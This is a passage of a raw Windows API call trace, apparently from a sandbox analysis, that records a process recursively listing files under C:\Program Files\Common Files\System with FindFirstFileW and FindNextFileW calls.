(in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c58 [0273.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.340] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.340] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.341] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0273.341] GetLastError () returned 0x12 [0273.341] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0273.341] GetLastError () returned 0x12 [0273.341] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0273.341] GetLastError () returned 0x12 [0273.341] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0273.341] GetLastError () returned 0x12 [0273.341] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0273.341] GetLastError () returned 0x12 [0273.342] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0273.342] GetLastError () returned 0x12 [0273.342] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0273.342] GetLastError () returned 0x12 [0273.342] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0273.342] GetLastError () returned 0x12 [0273.342] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0273.342] GetLastError () returned 0x12 [0273.342] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0273.342] GetLastError () returned 0x12 [0273.342] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0273.342] GetLastError () returned 0x12 [0273.342] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0273.342] GetLastError () returned 0x12 [0273.342] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0273.342] GetLastError () returned 0x12 [0273.343] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0273.343] GetLastError () returned 0x12 [0273.343] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0273.343] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.343] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.343] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0273.343] GetLastError () returned 0x12 [0273.343] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0273.343] GetLastError () returned 0x12 [0273.343] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.343] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.343] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0273.343] GetLastError () returned 0x12 [0273.343] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0273.343] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.343] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.343] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0273.343] GetLastError () returned 0x12 [0273.343] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.503] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.504] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0273.504] GetLastError () returned 0x12 [0273.504] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0273.504] GetLastError () returned 0x12 [0273.504] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0273.504] GetLastError () returned 0x12 [0273.504] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.505] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.505] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0273.505] GetLastError () returned 0x12 [0273.505] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0273.505] GetLastError () returned 0x12 [0273.505] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0273.505] GetLastError () returned 0x12 [0273.505] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0273.505] GetLastError () returned 0x12 [0273.505] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0273.505] GetLastError () returned 0x12 [0273.505] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0273.506] GetLastError () returned 0x12 [0273.506] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0273.506] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.506] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42c00a0 | out: hHeap=0x1c0000) returned 1 [0273.506] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0273.506] GetLastError () returned 0x12 [0273.506] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0273.506] GetLastError () returned 0x12 [0273.506] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0273.507] GetLastError () returned 0x12 [0273.507] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0273.507] GetLastError () returned 0x12 [0273.507] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, 